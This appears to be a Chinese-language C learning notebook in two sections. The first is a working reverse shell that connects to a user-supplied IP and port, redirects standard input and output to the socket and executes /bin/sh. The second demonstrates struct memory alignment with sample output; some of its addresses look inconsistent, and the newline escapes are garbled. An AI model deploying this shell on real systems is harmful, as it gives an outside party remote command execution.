C-代码学习笔记

0x01 实现反弹shell

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
    char shell[]="/bin/sh";
    char message[]="hacker welcomen";
    int sock;
int main(int argc, char *argv[]) {
    if(argc <3){
        usage(argv[0]);
    }

    struct sockaddr_in server;
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Couldn't make socket!n"); exit(-1);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(atoi(argv[2]));
    server.sin_addr.s_addr = inet_addr(argv[1]);

    if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
        printf("Could not connect to remote shell!n");
        exit(-1);
    }
    send(sock, message, sizeof(message), 0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execl(shell,"/bin/sh",(char *)0);
    close(sock);
    return 1;
}
void usage(char *prog[]) {
    printf("Usage: %s <reflect ip> <port>n", prog);
    exit(-1);
}

0x02 结构体在内存中对齐的问题

#include<stdio.h>
#include<stdlib.h>

struct data_1
{
    int a;
    char b;
};

struct data_2{
    char a;
    int b;
};

struct data_3{
    char a;
    char b;
    int c;
};


struct data_4{
    char a;
    char b;
    int *c;
};

struct data_5{
    char a;
    int b;
    char c;
};

int main(int argc, char const *argv[])
{
    /* code */
    struct data_1 A;
    printf("data_1 a : 0x%llx\t data_1 b : 0x%llx \n",&A.a,&A.b);
    printf("size : %d\n",sizeof(A));

    struct data_2 B;
    printf("data_2 a : 0x%llx\t data_2 b  : 0x%llx \n",&B.a,&B.b);
    printf("size : %d\n",sizeof(B));

    struct data_3 C;
    printf("data_3 a : 0x%llx\t data_3 b  : 0x%llx \t data_3 b  : 0x%llx \n",&C.a,&C.b,&C.c);
    printf("size : %d\n",sizeof(C));

    struct data_4 D;
    printf("data_4 a : 0x%llx\t data_4 b  : 0x%llx \t data_4 b  : 0x%llx \n",&D.a,&D.b,&D.c);
    printf("size : %d\n",sizeof(D));

    struct data_5 E;
    printf("data_5 a : 0x%llx\t data_5 b  : 0x%llx \t data_5 b  : 0x%llx \n",&E.a,&E.b,&E.c);
    printf("size : %d\n",sizeof(E));
    return 0;
}
/*
out:
data_1 a : 0x7ffc29be7f1c	 data_1 b : 0x7ffc29be7f20 
size : 8
data_2 a : 0x7ffc29be7f24	 data_2 b  : 0x7ffc29be7f28 
size : 8
data_3 a : 0x7ffc29be7f2c	 data_3 b  : 0x7ffc29be7f2d 	 data_3 b  : 0x7ffc29be7f30 
size : 8
data_4 a : 0x7ffc29be7f40	 data_4 b  : 0x7ffc29be7f41 	 data_4 b  : 0x7ffc29be7f48 
size : 16
data_5 a : 0x7ffc29be7f34	 data_5 b  : 0x7ffc29be7f38 	 data_5 b  : 0x7ffc29be7f3c 
size : 12
*/